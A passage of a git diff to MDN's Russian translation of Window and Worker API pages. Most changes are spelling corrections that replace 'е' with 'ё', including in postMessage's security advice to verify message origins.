b/files/ru/web/api/window/popstate_event/index.html index 65c7ef6a93..c2f07004b4 100644 --- a/files/ru/web/api/window/popstate_event/index.html +++ b/files/ru/web/api/window/popstate_event/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/Window/popstate_event --- <p>Событие <code>popstate</code> вызывается, когда изменяется активная запись истории. Если изменение записи истории было вызвано методом <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/History_API#The_pushState()_method">history.pushState()</a></code> или <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/History_API#The_replaceState()_method">history.replaceState()</a></code>, то состояние события <code>popstate</code> будет содержать <code>state </code>копии входящего в историю объекта</p> -<p>Обратите внимание, <code>history.pushState()</code> или <code>history.replaceState()</code> не вызывают событие <code>popstate</code>. Событие <code>popstate</code> будет вызвано при совершении действий в браузере, таких как нажатие кнопок "Вперед" или "Назад" (или при вызове <code>history.back()</code> или <code> history.forward()</code> из JavaScript).</p> +<p>Обратите внимание, <code>history.pushState()</code> или <code>history.replaceState()</code> не вызывают событие <code>popstate</code>. Событие <code>popstate</code> будет вызвано при совершении действий в браузере, таких как нажатие кнопок "Вперёд" или "Назад" (или при вызове <code>history.back()</code> или <code> history.forward()</code> из JavaScript).</p> <p>Браузеры работают с событием <code>popstate</code> по разному. Chrome (prior to v34) и Safari всегда вызывают <code>popstate</code> по окончании загрузки страницы, а Firefox не делает этого.</p> diff --git a/files/ru/web/api/window/postmessage/index.html b/files/ru/web/api/window/postmessage/index.html index d6db0cff3a..749e388816 100644 --- a/files/ru/web/api/window/postmessage/index.html +++ b/files/ru/web/api/window/postmessage/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/Window/postMessage --- <div>{{ApiRef("HTML DOM")}}</div> -<p><strong><code>Window.postMessage()</code></strong> - этот метод позволяет безопасно отправлять кроссдоменные запросы. Обычно сценариям на разных страницах разрешен доступ друг к другу только если страницы, которые их выполняли, передаются по одному протоколу (обычно это https), номер порта (443 — по умолчанию для https) и хост (modulo {{domxref("Document.domain")}} установленный страницами на одно и тоже значение). <code>window.postMessage()</code> предоставляет контролируемый механизм, чтобы обойти это ограничение способом, который безопасен при правильном использовании.</p> +<p><strong><code>Window.postMessage()</code></strong> - этот метод позволяет безопасно отправлять кроссдоменные запросы. Обычно сценариям на разных страницах разрешён доступ друг к другу только если страницы, которые их выполняли, передаются по одному протоколу (обычно это https), номер порта (443 — по умолчанию для https) и хост (modulo {{domxref("Document.domain")}} установленный страницами на одно и тоже значение). <code>window.postMessage()</code> предоставляет контролируемый механизм, чтобы обойти это ограничение способом, который безопасен при правильном использовании.</p> <p><font face="Open Sans, arial, x-locale-body, sans-serif">При вызове метода </font><code>window.postMessage()</code> он вызывает {{domxref("MessageEvent")}} для отправки в целевом окне, когда завершается любой ожидающий сценарий, который должен быть выполнен (например, оставшиеся обработчики событий, если <code>window.postMessage()</code> вызывается из обработчика событий ранее заданных ожидающих таймаутов). {{domxref("MessageEvent")}} имеет тип <code>message</code>, <code>data-свойство</code> которого устанавливает значение первого аргумента в методе <code>window.postMessage()</code>, свойство <code>origin</code> соответствует адресу основного документа в вызове <code>window.postMessage</code> во время вызова <code>window.postMessage()</code>, свойство <code>source</code> указывает на окно, из которого <code>window.postMessage()</code> вызвали. (Другие стандартные свойства событий имеют ожидаемые значения)</p> @@ -54,7 +54,7 @@ function receiveMessage(event) <p><strong>Если вы не ожидаете получения сообщения от других сайтов, не добавляйте обработчики событий <code>message</code>.</strong> Это гарантированный способ избежать проблем с безопасностью.</p> -<p>Если же вы хотите получать сообщения от других сайтов, то всегда необходимо идентифицировать отправителя, используя <code>origin</code> и возможно <code>source</code> свойства. Любой сайт (включая, например, <code class="nowiki">http://evil.example.com</code>) может отправлять сообщения любым другим, и у вас нет гарантии, что неизвестный отправитель не пошлет вредоносные сообщения. Однако даже если отправитель известен, вам все равно необходимо всегда подтверждать синтаксис получаемого сообщения. Иначе, дыра в безопасности сайта, которому вы доверяете, может открыть дыру для межсайтового скриптинга на вашем сайте.</p> +<p>Если же вы хотите получать сообщения от других сайтов, то всегда необходимо идентифицировать отправителя, используя <code>origin</code> и возможно <code>source</code> свойства. Любой сайт (включая, например, <code class="nowiki">http://evil.example.com</code>) может отправлять сообщения любым другим, и у вас нет гарантии, что неизвестный отправитель не пошлёт вредоносные сообщения. Однако даже если отправитель известен, вам все равно необходимо всегда подтверждать синтаксис получаемого сообщения. Иначе, дыра в безопасности сайта, которому вы доверяете, может открыть дыру для межсайтового скриптинга на вашем сайте.</p> <p><strong>Всегда конкретизируйте целевой первоисточник, а не просто <code>*</code>, когда вы используете <code>postMessage</code> для отправки данных другим окнам. Вредоносный сайт может изменить локацию окна без вашего ведома и затем перехватить данные, посылаемые с использованием </strong><code>postMessage</code>.</p> diff --git a/files/ru/web/api/window/prompt/index.html b/files/ru/web/api/window/prompt/index.html index 14c240a49a..643ae4685e 100644 --- a/files/ru/web/api/window/prompt/index.html +++ b/files/ru/web/api/window/prompt/index.html @@ -32,7 +32,7 @@ var sign = prompt(); // открывается пустое окошко var sign = window.prompt('Are you feeling lucky'); // открывается окошко с текстом "Are you feeling lucky" var sign = window.prompt('Are you feeling lucky', 'sure'); // открывается окошко с текстом "Are you feeling lucky" и значением по умолчанию "sure"</pre> -<p>Когда пользователь нажимает кнопку OK, функция возвращает текст, введенный в поле. Если пользователь нажимает кнопку OK, без ввода какого-либо текста - возвращается пустая строка. Если пользователь нажимает кнопку Cancel, то функция возвращает <code>null</code>.</p> +<p>Когда пользователь нажимает кнопку OK, функция возвращает текст, введённый в поле. Если пользователь нажимает кнопку OK, без ввода какого-либо текста - возвращается пустая строка. Если пользователь нажимает кнопку Cancel, то функция возвращает <code>null</code>.</p> <p>Вышеописанный prompt будет выглядеть следующим образом (в Chrome на OS X):</p> @@ -40,7 +40,7 @@ var sign = window.prompt('Are you feeling lucky', 'sure'); // открывает <h2 id="Notes" name="Notes">Примечания</h2> -<p>prompt диалог содержит однострочное текстовое поле, кнопку Cancel и кнопку OK, и возвращает (возможно пустой) текст введенный пользователем в текстовое поле.</p> +<p>prompt диалог содержит однострочное текстовое поле, кнопку Cancel и кнопку OK, и возвращает (возможно пустой) текст введённый пользователем в текстовое поле.</p> <p><span class="comment">The following text is shared between this article, DOM:window.confirm and DOM:window.alert</span>Диалоговые окна являются модальными; они блокируют доступ пользователя к остальному интерфейсу программы, пока диалоговое окно не будет закрыто. По этой причине вы не должны злоупотреблять функциями, которые создают диалоговое окно (или модальное окно).</p> diff --git a/files/ru/web/api/window/requestanimationframe/index.html b/files/ru/web/api/window/requestanimationframe/index.html index e0a03b8dad..ae4dfb12d5 100644 --- a/files/ru/web/api/window/requestanimationframe/index.html +++ b/files/ru/web/api/window/requestanimationframe/index.html @@ -51,7 +51,7 @@ window.requestAnimationFrame(step);</pre> <h2 id="Примечание">Примечание</h2> -<p>В Edge версиях младше 17 и в Internet Explorer не надежно запускать <code>requestAnimationFrame</code> перед циклом рисования.</p> +<p>В Edge версиях младше 17 и в Internet Explorer не надёжно запускать <code>requestAnimationFrame</code> перед циклом рисования.</p> <h2 id="Specification" name="Specification">Спецификация</h2> diff --git a/files/ru/web/api/window/self/index.html b/files/ru/web/api/window/self/index.html index 327e29d143..b564cfc1d4 100644 --- a/files/ru/web/api/window/self/index.html +++ b/files/ru/web/api/window/self/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/Window/self --- <p>{{ APIRef() }}</p> -<p>Свойство <code><strong>Window.self</strong></code> доступно только для чтения и возвращает объект window в виде объекта {{domxref("WindowProxy")}}. Для доступа к данному свойству возможно использовать точечную нотацию и объект <code>window</code> (<code>window.self</code>) или переменную <code>self</code>. Преимущество доступа через переменную <code>self</code> заключается в том, что ее можно использовать в окружениях, в которых нет window, например {{domxref("Worker", "Web Workers")}}. Использование <code>self</code> дает возможность обращаться к глобальному объекту не только в окружениях где есть window (в таком случае <code>self</code> эквивалентна <code>window.self</code>), но также в воркерах (в случае воркера <code>self</code> эквивалентна {{domxref("WorkerGlobalScope.self")}}).</p> +<p>Свойство <code><strong>Window.self</strong></code> доступно только для чтения и возвращает объект window в виде объекта {{domxref("WindowProxy")}}. Для доступа к данному свойству возможно использовать точечную нотацию и объект <code>window</code> (<code>window.self</code>) или переменную <code>self</code>. Преимущество доступа через переменную <code>self</code> заключается в том, что её можно использовать в окружениях, в которых нет window, например {{domxref("Worker", "Web Workers")}}. Использование <code>self</code> даёт возможность обращаться к глобальному объекту не только в окружениях где есть window (в таком случае <code>self</code> эквивалентна <code>window.self</code>), но также в воркерах (в случае воркера <code>self</code> эквивалентна {{domxref("WorkerGlobalScope.self")}}).</p> <h2 id="Notes" name="Notes">Пример</h2> diff --git a/files/ru/web/api/window/sessionstorage/index.html b/files/ru/web/api/window/sessionstorage/index.html index 787b2f308d..720db502de 100644 --- a/files/ru/web/api/window/sessionstorage/index.html +++ b/files/ru/web/api/window/sessionstorage/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/Window/sessionStorage --- <p>{{APIRef()}}</p> -<p><code><font face="Open Sans, Arial, sans-serif">Свойство </font>sessionStorage</code> позволяет получить доступ к объекту {{domxref("Storage")}} текущей сессии. Свойство sessionStorage очень похоже на свойство {{domxref("Window.localStorage")}}, единственное различие заключается в том, что все данные, сохраненные в localStorage не имеют определенного времени жизни, а данные в sessionStorage очищаются в момент окончания сессии текущий страницы. Сессия страницы остается активной все время пока окно браузера открыто и сохраняется между перезагрузками страниц. <strong>Открытие той же страницы в новом окне браузера или новой вкладке приводит к созданию новой сессии страницы, </strong>что отличается от поведения session cookies<strong>.</strong></p> +<p><code><font face="Open Sans, Arial, sans-serif">Свойство </font>sessionStorage</code> позволяет получить доступ к объекту {{domxref("Storage")}} текущей сессии. Свойство sessionStorage очень похоже на свойство {{domxref("Window.localStorage")}}, единственное различие заключается в том, что все данные, сохранённые в localStorage не имеют определённого времени жизни, а данные в sessionStorage очищаются в момент окончания сессии текущий страницы. Сессия страницы остаётся активной все время пока окно браузера открыто и сохраняется между перезагрузками страниц. <strong>Открытие той же страницы в новом окне браузера или новой вкладке приводит к созданию новой сессии страницы, </strong>что отличается от поведения session cookies<strong>.</strong></p> <h2 id="Синтаксис">Синтаксис</h2> @@ -25,7 +25,7 @@ var data = sessionStorage.getItem('key');</pre> <pre class="brush: js">sessionStorage.setItem('myCat', 'Tom');</pre> -<p>Следующий пример автоматически сохраняет содержимое текстового поля. Если страница случайно будет обновлена значение текстового поля будет восстановлено. Таким образом ничего из введенного пользователем не потеряется даже в этом случае.</p> +<p>Следующий пример автоматически сохраняет содержимое текстового поля. Если страница случайно будет обновлена значение текстового поля будет восстановлено. Таким образом ничего из введённого пользователем не потеряется даже в этом случае.</p> <pre class="brush: js">// Получаем ссылку на текстовое поле, // изменение которого будем отслеживать. diff --git a/files/ru/web/api/window/unhandledrejection_event/index.html b/files/ru/web/api/window/unhandledrejection_event/index.html index c32838dc9c..cd1996b7b2 100644 --- a/files/ru/web/api/window/unhandledrejection_event/index.html +++ b/files/ru/web/api/window/unhandledrejection_event/index.html @@ -4,7 +4,7 @@ slug: Web/API/Window/unhandledrejection_event translation_of: Web/API/Window/unhandledrejection_event original_slug: Web/Events/unhandledrejection --- -<p>Событие <strong><code>unhandledrejection</code></strong> происходит, когда {{jsxref("Promise")}} завершен с ошибкой, но на данную ошибку не установлен обработчик.</p> +<p>Событие <strong><code>unhandledrejection</code></strong> происходит, когда {{jsxref("Promise")}} завершён с ошибкой, но на данную ошибку не установлен обработчик.</p> <table class="properties"> <tbody> @@ -37,7 +37,7 @@ original_slug: Web/Events/unhandledrejection <h2 id="Inheritance">Inheritance</h2> -<p>Событие <code>unhandledrejection</code> реализует {{domxref("PromiseRejectionEvent")}} интерфейс, который наследуется от {{domxref("Event")}}. Вы можете использовать свойства и методы, определенные в данных интерфейсах.</p> +<p>Событие <code>unhandledrejection</code> реализует {{domxref("PromiseRejectionEvent")}} интерфейс, который наследуется от {{domxref("Event")}}. Вы можете использовать свойства и методы, определённые в данных интерфейсах.</p> <p>{{InheritanceDiagram('','','', 'PromiseRejectionEvent')}}</p> diff --git a/files/ru/web/api/windoweventhandlers/onpopstate/index.html b/files/ru/web/api/windoweventhandlers/onpopstate/index.html index 62d82bd693..049f842c4f 100644 --- a/files/ru/web/api/windoweventhandlers/onpopstate/index.html +++ b/files/ru/web/api/windoweventhandlers/onpopstate/index.html @@ -38,7 +38,7 @@ history.back(); // alerts "location: http://example.com/example.html, state: nul history.go(2); // alerts "location: http://example.com/example.html?page=3, state: {"page":3} </pre> -<p>Обратите внимание, что даже несмотря на то, что первоначальная запись истории (для <code>http://example.com/example.html</code>) не имеет объекта события, связанного с ней, событие <code>popstate</code> все равно произойдет, когда мы активируем эту запись после второго вызова <code>history.back()</code>.</p> +<p>Обратите внимание, что даже несмотря на то, что первоначальная запись истории (для <code>http://example.com/example.html</code>) не имеет объекта события, связанного с ней, событие <code>popstate</code> все равно произойдёт, когда мы активируем эту запись после второго вызова <code>history.back()</code>.</p> <h2 id="Specification" name="Specification">Спецификация</h2> diff --git a/files/ru/web/api/windoworworkerglobalscope/atob/index.html b/files/ru/web/api/windoworworkerglobalscope/atob/index.html index 28d58a52f1..b158668263 100644 --- a/files/ru/web/api/windoworworkerglobalscope/atob/index.html +++ b/files/ru/web/api/windoworworkerglobalscope/atob/index.html @@ -117,7 +117,7 @@ var decodedData = window.atob(encodedData); // декодирует строку <p>[2] Начиная с <a href="/en-US/Firefox/Releases/27/Site_Compatibility">Firefox 27</a>, <code>atob()</code> игнорирует все символы пробелов в аргументе, чтобы соответствовать последним HTML5 спецификациям (смотри {{bug(711180)}}).</p> -<p>[3] <code>atob()</code> теперь определен в миксине {{domxref("WindowOrWorkerGlobalScope")}}.</p> +<p>[3] <code>atob()</code> теперь определён в миксине {{domxref("WindowOrWorkerGlobalScope")}}.</p> <h2 id="Смотри_также">Смотри также</h2> diff --git a/files/ru/web/api/windoworworkerglobalscope/btoa/index.html b/files/ru/web/api/windoworworkerglobalscope/btoa/index.html index fdb51cfb15..3ccd17db68 100644 --- a/files/ru/web/api/windoworworkerglobalscope/btoa/index.html +++ b/files/ru/web/api/windoworworkerglobalscope/btoa/index.html @@ -6,7 +6,7 @@ original_slug: Web/API/WindowBase64/btoa --- <div>{{APIRef("HTML DOM")}}</div> -<p>Создает ASCII строку закодированную в base-64 из "строки" бинарных данных.</p> +<p>Создаёт ASCII строку закодированную в base-64 из "строки" бинарных данных.</p> <p>Будьте внимательней этот способ не подходит для <a href="http://www.unicode.org/standard/WhatIsUnicode.html">Unicode</a> строк! Описание работы с Unicode в секции ниже.</p> diff --git a/files/ru/web/api/windoworworkerglobalscope/cleartimeout/index.html b/files/ru/web/api/windoworworkerglobalscope/cleartimeout/index.html index 8d398013ce..aeedb7435c 100644 --- a/files/ru/web/api/windoworworkerglobalscope/cleartimeout/index.html +++ b/files/ru/web/api/windoworworkerglobalscope/cleartimeout/index.html @@ -17,14 +17,14 @@ translation_of: Web/API/WindowOrWorkerGlobalScope/clearTimeout <dl> <dt><code><em>timeoutID</em></code></dt> <dd></dd> - <dd>Идентификатор таймаута, который вы хотите отменить. Этот идентификатор был возвращен соответствующим вызовом <code>setTimeout()</code>.</dd> + <dd>Идентификатор таймаута, который вы хотите отменить. Этот идентификатор был возвращён соответствующим вызовом <code>setTimeout()</code>.</dd> </dl> <p>It's worth noting that the pool of IDs used by {{domxref("WindowOrWorkerGlobalScope.setTimeout", "setTimeout()")}} and {{domxref("WindowOrWorkerGlobalScope.setInterval", "setInterval()")}} are shared, which means you can technically use <code>clearTimeout()</code> and {{domxref("WindowOrWorkerGlobalScope.clearInterval", "clearInterval()")}} interchangeably. However, for clarity, you should avoid doing so.</p> <h2 id="Example" name="Example">Пример использования:</h2> -<p>Запустите приведенный ниже скрипт в контакте веб-страницы и кликните один раз. Вы увидите всплывающее сообщение через 1 секунду. Если вы щелкните страницу несколько раз за одну секунду, предупреждение появится только один раз.</p> +<p>Запустите приведённый ниже скрипт в контакте веб-страницы и кликните один раз. Вы увидите всплывающее сообщение через 1 секунду. Если вы щёлкните страницу несколько раз за одну секунду, предупреждение появится только один раз.</p> <pre class="brush: js notranslate">var alarm = { remind: function(aMessage) { @@ -51,7 +51,7 @@ window.onclick = function() { alarm.setup(); }; <h2 id="Notes" name="Notes">Примечания</h2> -<p>Передача недействительного ID <code>clearTimeout()</code> ни к чему не приведет. Исключение не создается.</p> +<p>Передача недействительного ID <code>clearTimeout()</code> ни к чему не приведёт. Исключение не создается.</p> <h2 id="Specification" name="Specification">Спецификация</h2> diff --git a/files/ru/web/api/windoworworkerglobalscope/fetch/index.html b/files/ru/web/api/windoworworkerglobalscope/fetch/index.html index d95c0b77ec..cffef51d3e 100644 --- a/files/ru/web/api/windoworworkerglobalscope/fetch/index.html +++ b/files/ru/web/api/windoworworkerglobalscope/fetch/index.html @@ -70,7 +70,7 @@ translation_of: Web/API/WindowOrWorkerGlobalScope/fetch <tbody> <tr> <td><code>AbortError</code></td> - <td>Запрос был отменен (используя {{domxref("AbortController.abort()")}}).</td> + <td>Запрос был отменён (используя {{domxref("AbortController.abort()")}}).</td> </tr> <tr> <td><code>TypeError</code></td> @@ -81,7 +81,7 @@ translation_of: Web/API/WindowOrWorkerGlobalScope/fetch <h2 id="Пример">Пример</h2> -<p>В нашем <a href="https://github.com/mdn/fetch-examples/tree/master/fetch-request">Fetch Request примере</a> (см. <a href="https://mdn.github.io/fetch-examples/fetch-request/">Fetch Request live</a>) мы создаем новый объект {{domxref("Request")}} (запроса), используя релевантный конструктор, а затем получаем его вызовом <code>fetch()</code>. Так как запрашиваемый ресурс - изображение, для того, чтобы присвоить ему подходящий MIME тип и обработать должным образом, мы применяем к ответу метод {{domxref("Body.blob()")}}, после чего создаем для него Object URL и передаем ее в элемент {{htmlelement("img")}}.</p> +<p>В нашем <a href="https://github.com/mdn/fetch-examples/tree/master/fetch-request">Fetch Request примере</a> (см. <a href="https://mdn.github.io/fetch-examples/fetch-request/">Fetch Request live</a>) мы создаём новый объект {{domxref("Request")}} (запроса), используя релевантный конструктор, а затем получаем его вызовом <code>fetch()</code>. Так как запрашиваемый ресурс - изображение, для того, чтобы присвоить ему подходящий MIME тип и обработать должным образом, мы применяем к ответу метод {{domxref("Body.blob()")}}, после чего создаём для него Object URL и передаём её в элемент {{htmlelement("img")}}.</p> <pre class="brush: js">var myImage = document.querySelector('img'); @@ -94,7 +94,7 @@ fetch(myRequest).then(function(response) { myImage.src = objectURL; });</pre> -<p>В нашем <a href="https://github.com/mdn/fetch-examples/blob/master/fetch-with-init-then-request/index.html">Fetch with init then Request примере</a> (см. <a href="https://mdn.github.io/fetch-examples/fetch-with-init-then-request/">Fetch Request init live</a>) мы делаем тоже самое, за исключением того, что передаем в качестве аргумента для <code>fetch()</code> объект init:</p> +<p>В нашем <a href="https://github.com/mdn/fetch-examples/blob/master/fetch-with-init-then-request/index.html">Fetch with init then Request примере</a> (см. <a href="https://mdn.github.io/fetch-examples/fetch-with-init-then-request/">Fetch Request init live</a>) мы делаем тоже самое, за исключением того, что передаём в качестве аргумента для <code>fetch()</code> объект init:</p> <pre class="brush: js">var myImage = document.querySelector('img'); diff --git a/files/ru/web/api/windoworworkerglobalscope/index.html b/files/ru/web/api/windoworworkerglobalscope/index.html index 8f38321cb1..0a7bacf45b 100644 --- a/files/ru/web/api/windoworworkerglobalscope/index.html +++ b/files/ru/web/api/windoworworkerglobalscope/index.html @@ -47,7 +47,7 @@ translation_of: Web/API/WindowOrWorkerGlobalScope <dt>{{domxref("WindowOrWorkerGlobalScope.atob()")}}</dt> <dd>Декодирует строку данных, которая была закодирована с использованием кодировки base-64.</dd> <dt>{{domxref("WindowOrWorkerGlobalScope.btoa()")}}</dt> - <dd>Создает ASCII строку в кодировке base-64 из строки бинарных данных.</dd> + <dd>Создаёт ASCII строку в кодировке base-64 из строки бинарных данных.</dd> <dt>{{domxref("WindowOrWorkerGlobalScope.clearInterval()")}}</dt> <dd>Отменяет набор для повторного выполнения, используя {{domxref("WindowOrWorkerGlobalScope.setInterval()")}}.</dd> <dt>{{domxref("WindowOrWorkerGlobalScope.clearTimeout()")}}</dt> diff --git a/files/ru/web/api/windoworworkerglobalscope/setinterval/index.html b/files/ru/web/api/windoworworkerglobalscope/setinterval/index.html index aa4ba76d3a..c77c422bf1 100644 --- a/files/ru/web/api/windoworworkerglobalscope/setinterval/index.html +++ b/files/ru/web/api/windoworworkerglobalscope/setinterval/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/WindowOrWorkerGlobalScope/setInterval --- <div>{{APIRef("HTML DOM")}}</div> -<p><span class="seoSummary">Метод <strong><code>setInterval()</code></strong> предложен для {{domxref("Window")}} и {{domxref("Worker")}} интерфейсов. Он циклически вызывает функцию или участок кода с фиксированной паузой между каждым вызовом.</span> Уникальный идентификатор intervalID, возвращаемый методом, позволяет впоследствии удалить запущенный <span class="seoSummary"><strong><code>setInterval</code></strong></span> c помощью {{domxref("WindowOrWorkerGlobalScope.clearInterval", "clearInterval()")}}. Метод определен с помощью миксина {{domxref("WindowOrWorkerGlobalScope")}}.</p> +<p><span class="seoSummary">Метод <strong><code>setInterval()</code></strong> предложен для {{domxref("Window")}} и {{domxref("Worker")}} интерфейсов. Он циклически вызывает функцию или участок кода с фиксированной паузой между каждым вызовом.</span> Уникальный идентификатор intervalID, возвращаемый методом, позволяет впоследствии удалить запущенный <span class="seoSummary"><strong><code>setInterval</code></strong></span> c помощью {{domxref("WindowOrWorkerGlobalScope.clearInterval", "clearInterval()")}}. Метод определён с помощью миксина {{domxref("WindowOrWorkerGlobalScope")}}.</p> <h2 id="Синтаксис">Синтаксис</h2> diff --git a/files/ru/web/api/windoworworkerglobalscope/settimeout/index.html b/files/ru/web/api/windoworworkerglobalscope/settimeout/index.html index 8c115986b0..cd1851db1e 100644 --- a/files/ru/web/api/windoworworkerglobalscope/settimeout/index.html +++ b/files/ru/web/api/windoworworkerglobalscope/settimeout/index.html @@ -31,7 +31,7 @@ original_slug: Web/API/WindowTimers/setTimeout <h2 id="Example" name="Example">Пример</h2> -<p>В следующем примере на веб странице создаются две простые кнопки, к которым привязываются действия setTimeout и clearTimeout. Нажатие на первую кнопку установит таймаут, который вызовет диалоговое окно через две секунды. Также будет сохранен id для clearTimeout. Таймаут также может быть отменен по нажатию на вторую кнопку.</p> +<p>В следующем примере на веб странице создаются две простые кнопки, к которым привязываются действия setTimeout и clearTimeout. Нажатие на первую кнопку установит таймаут, который вызовет диалоговое окно через две секунды. Также будет сохранён id для clearTimeout. Таймаут также может быть отменён по нажатию на вторую кнопку.</p> <h3 id="HTML_Content">HTML Content</h3> @@ -143,7 +143,7 @@ var a=[].slice.call(arguments,2);return f(function(){c.apply(this,a)},t)} <h2 id="Проблема_с_this">Проблема с "<code>this</code>"</h2> -<p>Когда вы передаете метод в <code>setTimeout()</code> (или в любую другую функцию, если на то пошло), то вызов будет осуществлен с неправильным значением <code>this</code>. Эта проблема разъясняется детально в <a href="/en-US/docs/JavaScript/Reference/Operators/this#Method_binding" title="en-US/docs/Core_JavaScript_1.5_Reference/Operators/Special_Operators/this_Operator#Method_binding">JavaScript reference</a>.</p> +<p>Когда вы передаёте метод в <code>setTimeout()</code> (или в любую другую функцию, если на то пошло), то вызов будет осуществлён с неправильным значением <code>this</code>. Эта проблема разъясняется детально в <a href="/en-US/docs/JavaScript/Reference/Operators/this#Method_binding" title="en-US/docs/Core_JavaScript_1.5_Reference/Operators/Special_Operators/this_Operator#Method_binding">JavaScript reference</a>.</p> <h3 id="Объяснение">Объяснение</h3> diff --git a/files/ru/web/api/worker/onmessage/index.html b/files/ru/web/api/worker/onmessage/index.html index 86db26c45f..c51c30e041 100644 --- a/files/ru/web/api/worker/onmessage/index.html +++ b/files/ru/web/api/worker/onmessage/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/Worker/onmessage --- <p>{{APIRef("Web Workers API")}}</p> -<p>Свойство <strong><code>onmessage</code></strong> интерфейса {{domxref("Worker")}} представляет собой обработчик {{domxref("EventHandler")}}, который будет вызван когда произойдет событие {{event("message")}}. Тип этого события {{domxref("MessageEvent")}} и оно будет вызвано когда worker-объект получит сообщение из выполняемого им кода (т.е из метода {{domxref("DedicatedWorkerGlobalScope.postMessage")}} .</p> +<p>Свойство <strong><code>onmessage</code></strong> интерфейса {{domxref("Worker")}} представляет собой обработчик {{domxref("EventHandler")}}, который будет вызван когда произойдёт событие {{event("message")}}. Тип этого события {{domxref("MessageEvent")}} и оно будет вызвано когда worker-объект получит сообщение из выполняемого им кода (т.е из метода {{domxref("DedicatedWorkerGlobalScope.postMessage")}} .</p> <div class="note"> <p><span style="font-size: 14px; line-height: 21px;"><strong>Примечание</strong></span>: Данные события доступны в свойстве data события {{event("message")}}.</p> diff --git a/files/ru/web/api/worker/postmessage/index.html b/files/ru/web/api/worker/postmessage/index.html index 47ea7ce99f..6523a0cb64 100644 --- a/files/ru/web/api/worker/postmessage/index.html +++ b/files/ru/web/api/worker/postmessage/index.html @@ -27,7 +27,7 @@ translation_of: Web/API/Worker/postMessage <dt><em>message</em></dt> <dd><code>Object</code> передаваемый в <code>worker</code>. Будет содержаться в поле <code>data</code> описания события обработчика {{domxref("DedicatedWorkerGlobalScope.onmessage")}}. Это может быть любое значение или объект JavaScript, которые может обработать алгоритм структурированного клонирования, поддерживающий циклические ссылки.</dd> <dt><em>transfer</em> {{optional_inline}}</dt> - <dd>Необязательный <code><a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Array">array</a></code> с передаваемыми ({{domxref("Transferable")}}) объектами (из тех, что были указаны в <code>message</code>) на которые передаются права собственности. Если право на объект передается, он становится непригодным (<em>neutered</em>) в контексте, из которого был отправлен, и становится доступным только в <code>worker</code>, которому он был отправлен.</dd> + <dd>Необязательный <code><a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Array">array</a></code> с передаваемыми ({{domxref("Transferable")}}) объектами (из тех, что были указаны в <code>message</code>) на которые передаются права собственности. Если право на объект передаётся, он становится непригодным (<em>neutered</em>) в контексте, из которого был отправлен, и становится доступным только в <code>worker</code>, которому он был отправлен.</dd> <dd>Переданные (<code>transferable</code>) объекты могут быть экземплярами классов {{domxref("ArrayBuffer")}}, {{domxref("MessagePort")}} или {{domxref("ImageBitmap")}}. null не является допустимым значением для передачи прав.</dd> </dl> @@ -60,7 +60,7 @@ second.onchange = function() { <h3 id="Пример_с_Transfer">Пример с Transfer</h3> -<p>В этом примере показано дополнение Firefox, которое передает <code>ArrayBuffer</code> из основного потока в <code>ChromeWorker</code>, а затем <code>ChromeWorker</code> передает его обратно в основной поток.</p> +<p>В этом примере показано дополнение Firefox, которое передаёт <code>ArrayBuffer</code> из основного потока в <code>ChromeWorker</code>, а затем <code>ChromeWorker</code> передаёт его обратно в основной поток.</p> <h4 id="Код_основного_потока">Код основного потока:</h4> @@ -86,7 +86,7 @@ console.info('arrBuf.byteLength, ДО передачи:', arrBuf.byteLength); myWorker.postMessage( { aTopic: 'do_sendWorkerArrBuff', - aBuf: arrBuf // буфер который передается 3 строками ниже + aBuf: arrBuf // буфер который передаётся 3 строками ниже }, [ arrBuf // буфер созданный на строке 9 @@ -150,7 +150,7 @@ arrBuf.byteLength, ПОСЛЕ передачи: 0 boo <h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, пожалуйста, проверьте <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад в данные, пожалуйста, проверьте <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос.</div> <p>{{Compat("api.Worker.postMessage")}}</p> diff --git a/files/ru/web/api/worker/terminate/index.html b/files/ru/web/api/worker/terminate/index.html index 68c93a7b08..21682c32ce 100644 --- a/files/ru/web/api/worker/terminate/index.html +++ b/files/ru/web/api/worker/terminate/index.html @@ -13,7 +13,7 @@ translation_of: Web/API/Worker/terminate --- <p>{{APIRef("Web Workers API")}}</p> -<p>Метод <code><strong>terminate()</strong></code> интерфейса {{domxref("Worker")}} немедленно завершает работу <code>worker</code>. Работнику не дается возможность завершить свою работу, он останавливается сразу.</p> +<p>Метод <code><strong>terminate()</strong></code> интерфейса {{domxref("Worker")}} немедленно завершает работу <code>worker</code>. Работнику не даётся возможность завершить свою работу, он останавливается сразу.</p> <h2 id="Синтаксис">Синтаксис</h2> @@ -55,7 +55,7 @@ myWorker.terminate(); <h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, пожалуйста, проверьте <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад в данные, пожалуйста, проверьте <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос.</div> <p>{{Compat("api.Worker.terminate")}}</p> diff --git a/files/ru/web/api/worker/worker/index.html b/files/ru/web/api/worker/worker/index.html index 625841b703..0c7a6fcbe2 100644 --- a/files/ru/web/api/worker/worker/index.html +++ b/files/ru/web/api/worker/worker/index.html @@ -13,7 +13,7 @@ translation_of: Web/API/Worker/Worker --- <p>{{APIRef("Web Workers API")}}</p> -<p>Конструктор <code><strong>Worker()</strong></code> создает объект {{domxref ("Worker")}}, который выполняет скрипт по указанному URL-адресу. 